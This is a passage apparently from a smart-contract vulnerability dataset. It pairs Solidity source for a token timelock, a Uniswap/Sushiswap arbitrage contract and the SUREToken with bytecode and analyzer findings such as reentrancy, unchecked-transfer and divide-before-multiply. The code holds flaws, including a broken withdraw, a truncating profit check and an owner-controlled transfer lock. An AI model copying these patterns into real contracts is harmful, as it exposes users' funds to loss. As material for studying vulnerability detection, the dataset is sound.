function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens at predefined intervals. Tokens not claimed at payment epochs accumulate
* Modified version of Openzeppelin's TokenTimeLock
*/
contract Lock is Ownable {
using SafeMath for uint;
enum period {
second,
minute,
hour,
day,
week,
month, //inaccurate, assumes 30 day month, subject to drift
year,
quarter,//13 weeks
biannual//26 weeks
}
//The length in seconds for each epoch between payments
uint epochLength;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
uint periods;
//the size of periodic payments
uint paymentSize;
uint paymentsRemaining =0;
uint startTime =0;
uint beneficiaryBalance = 0;
function initialize(address tokenAddress, address beneficiary, uint duration,uint durationMultiple,uint p) public onlyOwner{
release();
require(paymentsRemaining == 0, 'cannot initialize during active vesting schedule');
require(duration>0 && p>0, 'epoch parameters must be positive');
_token = IERC20(tokenAddress);
_beneficiary = beneficiary;
if(duration<=uint(period.biannual)){
if(duration == uint(period.second)){
epochLength = durationMultiple * 1 seconds;
}else if(duration == uint(period.minute)){
epochLength = durationMultiple * 1 minutes;
}
else if(duration == uint(period.hour)){
epochLength = durationMultiple *1 hours;
}else if(duration == uint(period.day)){
epochLength = durationMultiple *1 days;
}
else if(duration == uint(period.week)){
epochLength = durationMultiple *1 weeks;
}else if(duration == uint(period.month)){
epochLength = durationMultiple *30 days;
}else if(duration == uint(period.year)){
epochLength = durationMultiple *52 weeks;
}else if(duration == uint(period.quarter)){
epochLength = durationMultiple *13 weeks;
}
else if(duration == uint(period.biannual)){
epochLength = 26 weeks;
}
}
else{
epochLength = duration; //custom value
}
periods = p;
emit Initialized(tokenAddress,beneficiary,epochLength,p);
}
function deposit (uint amount) public { //remember to ERC20.approve
require (_token.transferFrom(msg.sender,address(this),amount),'transfer failed');
uint balance = _token.balanceOf(address(this));
if(paymentsRemaining==0)
{
paymentsRemaining = periods;
startTime = block.timestamp;
}
paymentSize = balance/paymentsRemaining;
emit PaymentsUpdatedOnDeposit(paymentSize,startTime,paymentsRemaining);
}
function getElapsedReward() public view returns (uint,uint,uint){
if(epochLength == 0)
return (0, startTime,paymentsRemaining);
uint elapsedEpochs = (block.timestamp - startTime)/epochLength;
if(elapsedEpochs==0)
return (0, startTime,paymentsRemaining);
elapsedEpochs = elapsedEpochs>paymentsRemaining?paymentsRemaining:elapsedEpochs;
uint newStartTime = block.timestamp;
uint newPaymentsRemaining = paymentsRemaining.sub(elapsedEpochs);
uint balance =_token.balanceOf(address(this));
uint accumulatedFunds = paymentSize.mul(elapsedEpochs);
return (beneficiaryBalance.add(accumulatedFunds>balance?balance:accumulatedFunds),newStartTime,newPaymentsRemaining);
}
function updateBeneficiaryBalance() private {
(beneficiaryBalance,startTime, paymentsRemaining) = getElapsedReward();
}
function changeBeneficiary (address beneficiary) public onlyOwner{
require (paymentsRemaining == 0, 'TokenTimelock: cannot change beneficiary while token balance positive');
_beneficiary = beneficiary;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= startTime, "TokenTimelock: current time is before release time");
updateBeneficiaryBalance();
uint amountToSend = beneficiaryBalance;
beneficiaryBalance = 0;
if(amountToSend>0)
require(_token.transfer(_beneficiary,amountToSend),'release funds failed');
emit FundsReleasedToBeneficiary(_beneficiary,amountToSend,block.timestamp);
}
event PaymentsUpdatedOnDeposit(uint paymentSize,uint startTime, uint paymentsRemaining);
event Initialized (address tokenAddress, address beneficiary, uint duration,uint periods);
event FundsReleasedToBeneficiary(address beneficiary, uint value, uint timeStamp);
} | 0x73b7c214425e649476a025fce4d3dda855016ca4c430146080604052600080fdfea264697066735822122083a5eadf97d448567999d4ed771ae2c1e956f9bbae3b104c7608680d4a57758164736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,326 |
0xce89327e679d8f862d683e69fa0e304c0fc17e55 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract SimpleArbitrage {
address public owner;
address public wethAddress;
address public daiAddress;
address public uniswapRouterAddress;
address public sushiswapRouterAddress;
uint256 public arbitrageAmount;
enum Exchange {
UNI,
SUSHI,
NONE
}
constructor(
address _uniswapRouterAddress,
address _sushiswapRouterAddress,
address _weth,
address _dai
) {
uniswapRouterAddress = _uniswapRouterAddress;
sushiswapRouterAddress = _sushiswapRouterAddress;
owner = msg.sender;
wethAddress = _weth;
daiAddress = _dai;
}
modifier onlyOwner() {
require(msg.sender == owner, "only owner can call this");
_;
}
function changeOwner(address newOwner) public onlyOwner {
owner = newOwner;
}
function deposit(uint256 amount) public onlyOwner {
require(amount > 0, "Deposit amount must be greater than 0");
IERC20(wethAddress).transferFrom(msg.sender, address(this), amount);
arbitrageAmount += amount;
}
function withdraw(uint256 amount) public onlyOwner {
require(amount <= arbitrageAmount, "Not enough amount deposited");
IERC20(wethAddress).transferFrom(address(this), msg.sender, amount);
arbitrageAmount -= amount;
}
function makeArbitrage() public {
uint256 amountIn = arbitrageAmount;
Exchange result = _comparePrice(amountIn);
if (result == Exchange.UNI) {
// sell ETH in uniswap for DAI with high price and buy ETH from sushiswap with lower price
uint256 amountOut = _swap(
amountIn,
uniswapRouterAddress,
wethAddress,
daiAddress
);
uint256 amountFinal = _swap(
amountOut,
sushiswapRouterAddress,
daiAddress,
wethAddress
);
arbitrageAmount = amountFinal;
} else if (result == Exchange.SUSHI) {
// sell ETH in sushiswap for DAI with high price and buy ETH from uniswap with lower price
uint256 amountOut = _swap(
amountIn,
sushiswapRouterAddress,
wethAddress,
daiAddress
);
uint256 amountFinal = _swap(
amountOut,
uniswapRouterAddress,
daiAddress,
wethAddress
);
arbitrageAmount = amountFinal;
}
}
function _swap(
uint256 amountIn,
address routerAddress,
address sell_token,
address buy_token
) internal returns (uint256) {
IERC20(sell_token).approve(routerAddress, amountIn);
uint256 amountOutMin = (_getPrice(
routerAddress,
sell_token,
buy_token,
amountIn
) * 95) / 100;
address[] memory path = new address[](2);
path[0] = sell_token;
path[1] = buy_token;
uint256 amountOut = IUniswapV2Router02(routerAddress)
.swapExactTokensForTokens(
amountIn,
amountOutMin,
path,
address(this),
block.timestamp
)[1];
return amountOut;
}
function _comparePrice(uint256 amount) internal view returns (Exchange) {
uint256 uniswapPrice = _getPrice(
uniswapRouterAddress,
wethAddress,
daiAddress,
amount
);
uint256 sushiswapPrice = _getPrice(
sushiswapRouterAddress,
wethAddress,
daiAddress,
amount
);
// we try to sell ETH with higher price and buy it back with low price to make profit
if (uniswapPrice > sushiswapPrice) {
require(
_checkIfArbitrageIsProfitable(
amount,
uniswapPrice,
sushiswapPrice
),
"Arbitrage not profitable"
);
return Exchange.UNI;
} else if (uniswapPrice < sushiswapPrice) {
require(
_checkIfArbitrageIsProfitable(
amount,
sushiswapPrice,
uniswapPrice
),
"Arbitrage not profitable"
);
return Exchange.SUSHI;
} else {
return Exchange.NONE;
}
}
function _checkIfArbitrageIsProfitable(
uint256 amountIn,
uint256 higherPrice,
uint256 lowerPrice
) internal pure returns (bool) {
// uniswap & sushiswap have 0.3% fee for every exchange
// so gain made must be greater than 2 * 0.3% * arbitrage_amount
// difference in ETH
uint256 difference = (higherPrice - lowerPrice) / higherPrice;
uint256 payed_fee = (2 * (amountIn * 3)) / 1000;
if (difference > payed_fee) {
return true;
} else {
return false;
}
}
function _getPrice(
address routerAddress,
address sell_token,
address buy_token,
uint256 amount
) internal view returns (uint256) {
address[] memory pairs = new address[](2);
pairs[0] = sell_token;
pairs[1] = buy_token;
uint256 price = IUniswapV2Router02(routerAddress).getAmountsOut(
amount,
pairs
)[1];
return price;
}
} | 0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80634f0e0ef3116100665780634f0e0ef3146101165780638da5cb5b14610129578063a6f9dae11461013c578063b6b55f251461014f578063c599e7b11461016257600080fd5b806319d0a9a2146100a357806320ca3c7f146100d35780632ada23a6146100e65780632c387275146100f05780632e1a7d4d14610103575b600080fd5b6004546100b6906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6003546100b6906001600160a01b031681565b6100ee610179565b005b6002546100b6906001600160a01b031681565b6100ee610111366004610ab3565b610278565b6001546100b6906001600160a01b031681565b6000546100b6906001600160a01b031681565b6100ee61014a3660046109a3565b6103a2565b6100ee61015d366004610ab3565b6103ee565b61016b60055481565b6040519081526020016100ca565b600554600061018782610513565b9050600081600281111561019d5761019d610c2a565b1415610201576003546001546002546000926101cb9286926001600160a01b03928316929182169116610639565b6004546002546001549293506000926101f69285926001600160a01b03918216929082169116610639565b600555506102749050565b600181600281111561021557610215610c2a565b1415610274576004546001546002546000926102439286926001600160a01b03928316929182169116610639565b60035460025460015492935060009261026e9285926001600160a01b03918216929082169116610639565b60055550505b5050565b6000546001600160a01b031633146102ab5760405162461bcd60e51b81526004016102a290610b10565b60405180910390fd5b6005548111156102fd5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820616d6f756e74206465706f7369746564000000000060448201526064016102a2565b6001546040516323b872dd60e01b8152306004820152336024820152604481018390526001600160a01b03909116906323b872dd90606401602060405180830381600087803b15801561034f57600080fd5b505af1158015610363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103879190610a91565b50806005600082825461039a9190610bfd565b909155505050565b6000546001600160a01b031633146103cc5760405162461bcd60e51b81526004016102a290610b10565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146104185760405162461bcd60e51b81526004016102a290610b10565b600081116104765760405162461bcd60e51b815260206004820152602560248201527f4465706f73697420616d6f756e74206d75737420626520677265617465722074604482015264068616e20360dc1b60648201526084016102a2565b6001546040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b03909116906323b872dd90606401602060405180830381600087803b1580156104c857600080fd5b505af11580156104dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105009190610a91565b50806005600082825461039a9190610ba4565b600354600154600254600092839261053c926001600160a01b0392831692918216911686610818565b600454600154600254929350600092610565926001600160a01b03908116928116911687610818565b9050808211156105cb5761057a848383610941565b6105c15760405162461bcd60e51b8152602060048201526018602482015277417262697472616765206e6f742070726f66697461626c6560401b60448201526064016102a2565b5060009392505050565b8082101561062f576105de848284610941565b6106255760405162461bcd60e51b8152602060048201526018602482015277417262697472616765206e6f742070726f66697461626c6560401b60448201526064016102a2565b5060019392505050565b5060029392505050565b60405163095ea7b360e01b81526001600160a01b038481166004830152602482018690526000919084169063095ea7b390604401602060405180830381600087803b15801561068757600080fd5b505af115801561069b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bf9190610a91565b50600060646106d08686868a610818565b6106db90605f610bde565b6106e59190610bbc565b6040805160028082526060820183529293506000929091602083019080368337019050509050848160008151811061071f5761071f610c40565b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061075357610753610c40565b6001600160a01b0392831660209182029290920101526040516338ed173960e01b81526000918816906338ed173990610798908b908790879030904290600401610b68565b600060405180830381600087803b1580156107b257600080fd5b505af11580156107c6573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107ee91908101906109cc565b60018151811061080057610800610c40565b60200260200101519050809350505050949350505050565b60408051600280825260608201835260009283929190602083019080368337019050509050848160008151811061085157610851610c40565b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061088557610885610c40565b6001600160a01b03928316602091820292909201015260405163d06ca61f60e01b815260009188169063d06ca61f906108c49087908690600401610b47565b60006040518083038186803b1580156108dc57600080fd5b505afa1580156108f0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261091891908101906109cc565b60018151811061092a5761092a610c40565b602002602001015190508092505050949350505050565b6000808361094f8482610bfd565b6109599190610bbc565b905060006103e861096b876003610bde565b610976906002610bde565b6109809190610bbc565b9050808211156109955760019250505061099c565b6000925050505b9392505050565b6000602082840312156109b557600080fd5b81356001600160a01b038116811461099c57600080fd5b600060208083850312156109df57600080fd5b825167ffffffffffffffff808211156109f757600080fd5b818501915085601f830112610a0b57600080fd5b815181811115610a1d57610a1d610c56565b8060051b604051601f19603f83011681018181108582111715610a4257610a42610c56565b604052828152858101935084860182860187018a1015610a6157600080fd5b600095505b83861015610a84578051855260019590950194938601938601610a66565b5098975050505050505050565b600060208284031215610aa357600080fd5b8151801515811461099c57600080fd5b600060208284031215610ac557600080fd5b5035919050565b600081518084526020808501945080840160005b83811015610b055781516001600160a01b031687529582019590820190600101610ae0565b509495945050505050565b60208082526018908201527f6f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b828152604060208201526000610b606040830184610acc565b949350505050565b85815284602082015260a060408201526000610b8760a0830186610acc565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115610bb757610bb7610c14565b500190565b600082610bd957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610bf857610bf8610c14565b500290565b600082821015610c0f57610c0f610c14565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212209e6146da0c607323e5c071f68a3a3384e51e4e4612029e64bc752b64c76521d264736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,327 |
0x95382ac82e886a367bac9e1e23beabe569bcfed8 | pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
uint256 public totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Ownable
* The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract SUREToken is MintableToken {
address private deployedAddress = 0x65E5fF263Dd264b78ADcb08c1788c4CEC8910B4B; //Replace this address by the Ethereum main net
string public name = "SURETY Token";
string public symbol = "SURE";
uint public decimals = 6;
uint public totalSupplyToken = 500000000;
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/* A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/* Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/* A contract can release SURETY.AI team members/advisors to transfertoken. If false we are are in transfer lock up period.*/
bool public releasedTeam = false;
/* Map of SURETY.AI's team members/advisors. */
mapping (address => bool) public teamMembers;
constructor() public {
totalSupply_ = totalSupplyToken * (10 ** decimals);
balances[deployedAddress] = totalSupply_;
transferAgents[deployedAddress] = true;
releaseAgent = deployedAddress;
emit Transfer(address(0), deployedAddress, totalSupply_);
}
/**
* Limit token transfer until the crowdsale is over.
*/
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert("The token is in the locking period");
}
}
else if (!releasedTeam && teamMembers[_sender])
{
revert("Team members/advisors cannot trade during this period.");
}
_;
}
/**
* Set the contract that can call release and make the token transferable.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require (!teamMembers[addr], "Error! This address is a team member/advisor address.");
transferAgents[addr] = state;
}
/**
* Owner can add the team member/advisor address.
*/
function setTeamMember(address addr, bool state) onlyOwner inReleaseState(false) public {
require (!transferAgents[addr], "Error! This address is in the transfer agent list.");
teamMembers[addr] = state;
}
/**
* End locking state
*/
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
/**
* Resume locking state.
*/
function stopTokenTransfer() public onlyReleaseAgent {
released = false;
}
/**
* End locking state for team member/advisor.
*/
function releaseTeamTokenTransfer() public onlyReleaseAgent {
releasedTeam = true;
}
/**
* Resume locking state for team member/advisor.
*/
function stopTeamTokenTransfer() public onlyReleaseAgent {
releasedTeam = false;
}
/** The function can be called only before or after the tokens have been releasesd */
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
